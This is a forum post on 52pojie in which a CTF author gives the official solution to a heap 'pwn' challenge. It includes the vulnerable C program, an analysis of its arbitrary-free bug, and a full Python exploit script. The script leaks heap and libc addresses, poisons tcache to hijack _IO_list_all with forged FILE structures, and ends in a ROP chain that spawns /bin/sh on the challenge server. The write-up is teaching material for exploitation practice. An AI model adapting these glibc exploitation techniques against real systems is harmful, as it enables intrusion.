吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2700|回复: 6
收起左侧

[CTF] CTF+Binary-[Pwn挑战题]-blibli 官方题解

  [复制链接]
ajguthahbzzb 发表于 2025-7-10 09:44
前言
第一次出堆题,我对这道题的定位是道堆教学题,只需要会基本的tcache attack和任意一个能getshell的house即可打通。
(题目的提示词看上去毫无规律,实际上是deepseek生成的,我本来打算用B站的一些梗来让题目更具备趣味性,但奈何时间不够,对做题又没有影响,所以让AI代替我完成这份工作了。可以发现AI代替人类还为时尚早。。。)

链接:
https://www.ctfplus.cn/problem-detail/1942814399198662656/description

源码

先放上源码
[C] 纯文本查看 复制代码
// gcc pwn.c -z now -fstack-protector-all -o pwn -s

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define LIST_SIZE 0x20
#define BOOK_NAME_SIZE 0x10

typedef struct Book {
    char bookName[0x10];
    char *content;
} Book;

char userName[0x20];
Book booklist[LIST_SIZE];
int bookSelfSize;

int getInt() {
    int res;
    scanf("%d", &res);
    getchar();
    return res;
}

void createBook() {
    if (bookSelfSize == LIST_SIZE) {
        exit(EXIT_FAILURE);
    }
    Book *book = &booklist[bookSelfSize++];
    puts("报菜名:");
    fgets(book->bookName, BOOK_NAME_SIZE, stdin);
    int contentSize;
    puts("含金量检测:");
    contentSize = getInt();
    book->content = malloc(contentSize);
    puts("开摆区填词:");
    fgets(book->content, contentSize, stdin);
}

void showBookContent() {
    char bookName[BOOK_NAME_SIZE];
    puts("空降坐标:");
    fgets(bookName, BOOK_NAME_SIZE, stdin);
    for (int i = 0; i < bookSelfSize; i++)
    {
        Book *book = &booklist[i];
        if (strncmp(bookName, book->bookName, BOOK_NAME_SIZE) == 0) {
            puts(book->content);
            return;
        }
    }
}

void deleteBook() {
    puts("律师函编号:");
    int idx = getInt();
    if (bookSelfSize == 0 || idx >= bookSelfSize || strcmp(booklist[idx].bookName, "") == 0) {
        exit(EXIT_FAILURE);
    }
    free(booklist[idx].content);
    booklist[idx].bookName[0] = '\0';
}

void menu() {
    puts("=======弹幕护体=======");
    puts("1. 接化发");
    puts("2. 代码炼丹");
    puts("3. 上舰考古");
    puts("4. 鸽德清除");
    puts("5. 光速下播");
    printf("键政方向键:");
}


int main() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);

    while (1) {
        menu();
        int choice = getInt();
        switch (choice)
        {
        case 1:
            puts("暗号接头:");
            fgets(userName, 0x20, stdin);
            break;
        case 2:
            createBook();
            break;
        case 3:
            showBookContent();
            break;
        case 4:
            deleteBook();
            break;
        default:
            exit(EXIT_SUCCESS);
        }
    }
}


漏洞分析

程序的free操作可以将索引设置为负数,将其指向另一个可读写的区域,从而完成任意地址释放。
关于地址泄漏,出题人本来只设置了绕过fgets函数来泄漏堆地址的预期解,但看到其他师傅发布的题解里是利用show函数里的空字符串比对来泄漏地址,看来以后不能在泄漏地址上下功夫了。

思路

基本思路就是先泄漏出地址,然后利用任意地址free将释放的tcache块位于可控的范围内,覆写tcache的next指针指向_IO_list_all来将其覆写为堆里布置好的IO_file,然后让程序退出执行任意一个能getshell的house即可。

exp

思路不唯一,这里使用了house of some来获取shell。
[Python] 纯文本查看 复制代码
from pwncli import *

elf = ELF("./pwn")
# io = gift.io = elf.process()
io = gift.io = remote("nc1.ctfplus.cn", 25143)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------

def menu(choice):
    sla("键政方向键:".encode(), str(choice).encode())

def setName(name):
    menu(1)
    if len(name) != 0x20:
        name += b'\n'
    sa("暗号接头:\n".encode(), name)

def createBook(bookName=b"a", contentSize=0, content=b"a"):
    menu(2)
    sla("报菜名:\n".encode(), bookName)
    sla("含金量检测:\n".encode(), str(contentSize).encode())
    ru("开摆区填词:\n".encode())
    if contentSize:
        sl(content)

def showBook(bookName=b"a"):
    menu(3)
    sla("空降坐标:\n".encode(), bookName)

def deleteBook(idx):
    menu(4)
    sla("律师函编号:\n".encode(), str(idx).encode())

# --------

createBook() # 0
deleteBook(0)
createBook() # 1
showBook()
heapaddr = u64_ex(r(5)) << 12

success(f"{heapaddr = :x}")
deleteBook(1)

createBook(bookName=b"b", contentSize=0x500) # 2
createBook() # 3
createBook(contentSize=0xf0) # 4
deleteBook(4)
setName(p64(0) + b"ajguthahbzzb\0\0\0\0"+ p64(heapaddr + 0x2c0)[:-1])
deleteBook(-1)
showBook(b"b")
libc.address = u64_ex(r(6)) - 0x211b20
success(f"{libc.address = :x}")

# attach(io)
# pause()

# house of some
read_primitive = lambda read_addr, length, chain=0, _fileno=0: fit(
    {
        0x00: 0x8000 | 0x40 | 0x1000,  # _flags
        0x20: read_addr,  # _IO_write_base
        0x28: read_addr + length,  # _IO_write_ptr
        0x68: chain,  # _chain
        0x70: p32(_fileno),  # _fileno
        0xC0: 0,  # _modes
        # 0x88: libc.address + 0x1de720,
        0xD8: libc.sym._IO_file_jumps - 0x8,  # _vtable
    },
    filler=b"\x00",
)
write_primitive = lambda buf_start, length, chain=0, fileno=1: flat(
    {
        0x00: 0x800 | 0x1000 | 0x8000,  # _flags
        0x20: buf_start,  # _IO_write_base
        0x28: buf_start + length,  # _IO_write_ptr
        0x70: p32(fileno),  # _fileno
        0x68: chain,  # _chain
        # 0x88: libc.address + 0x1de710,
        0xD8: libc.sym._IO_file_jumps,  # vtable
    },
    filler=b"\x00",
)
IO_FILE_size = 0xE0


target = libc.sym._IO_list_all
fake_file_start = heapaddr + 0x2c0 + 0x20 + 0x20 + 0xf0 + IO_FILE_size
payload = fit(0, 0, 0, 0, 0, 0x100, 0, 0) + b'\0'*0xf0 + write_primitive(libc.sym.environ, 8, fake_file_start)
fake_file_start += IO_FILE_size
payload += read_primitive(fake_file_start, 0x400, fake_file_start)
createBook(b"c", 0x500, payload) # 5

setName(p64(0) + b"ajguthahbzzb\0\0\0\0"+ p64(heapaddr + 0x2f0)[:-1])
deleteBook(-1)
deleteBook(5)

payload = fit(0, 0, 0, 0, 0, 0x100, target ^ ((heapaddr + 0x2d0) >> 12))
createBook(b"d", 0x100, payload) # 6

createBook(b"a", 0xf0)
createBook(b"a", 0xf0, p64(heapaddr + 0x2c0 + 0x20 + 0x20 + 0xf0))

menu(5)

stack_leak = u64(r(8))
success(f"{stack_leak = :x}")

stack_leak_size = 0x500
fake_file_start += IO_FILE_size
payload = write_primitive(stack_leak - stack_leak_size, stack_leak_size, fake_file_start)
fake_file_start += IO_FILE_size
payload += read_primitive(fake_file_start, 0x400, fake_file_start)
sl(payload)
stack_space = r(stack_leak_size)


_IO_flush_all = libc.functions._IO_flush_all
_IO_flush_all_start = _IO_flush_all.address
_IO_flush_all_end = _IO_flush_all_start + _IO_flush_all.size
for ret_offset in range(0, stack_leak_size, 8):
    ret_addr = u64(stack_space[ret_offset : ret_offset + 8])
    if _IO_flush_all_start <= ret_addr <= _IO_flush_all_end:
        stack_leak = stack_leak - stack_leak_size + ret_offset
        break

print(hex(ret_offset))

payload = read_primitive(stack_leak, 0x400)
sl(payload)

rop = ROP(libc)
rop.base = stack_leak
rop.execve(b'/bin/sh', 0, 0)
rop_chain = rop.chain()

sl(rop_chain)

# attach(io)

# --------
ia()


总结

从这道题可以看出,泄漏出地址是件很难避免的事,但如果编程经验比较丰富可以避免出现可以利用的漏洞。从而我们也知道C语言是门非常不安全的语言,但凡用C++的STL库也不会存在这么多问题。


免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
fengbin8606 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

geesehoward 发表于 2025-7-10 16:51
pwn的泄露本身不是最危险的,危险的是为什么有人可以接触到这个有漏洞的程序,不管是通过网络,还是内部人员。如果是通过网络比如ssh连接上了服务器,并且还可以执行这个程序提权,更优先解决的可能是弱口令之类的漏洞。如果是内部人员坚守自盗,就未必是修复漏洞能解决问题的了。PWN的意义其实在于理解libc的工作原理,当然,任何逻辑都不可能是完美的。
头像被屏蔽
alphagis 发表于 2025-7-11 08:07
pw0n 发表于 2025-7-14 09:25
Sn0r1ax 发表于 2025-7-14 15:51
geesehoward 发表于 2025-7-10 16:51
pwn的泄露本身不是最危险的,危险的是为什么有人可以接触到这个有漏洞的程序,不管是通过网络,还是内部人 ...

非常认同大佬的观点,感觉pwn基本上都是白盒,真到实际情况连上一个程序想要找出漏洞并提权感觉可能性极小
xiaofeng2025 发表于 2025-7-25 11:38
学习了,学习了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-8-19 21:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表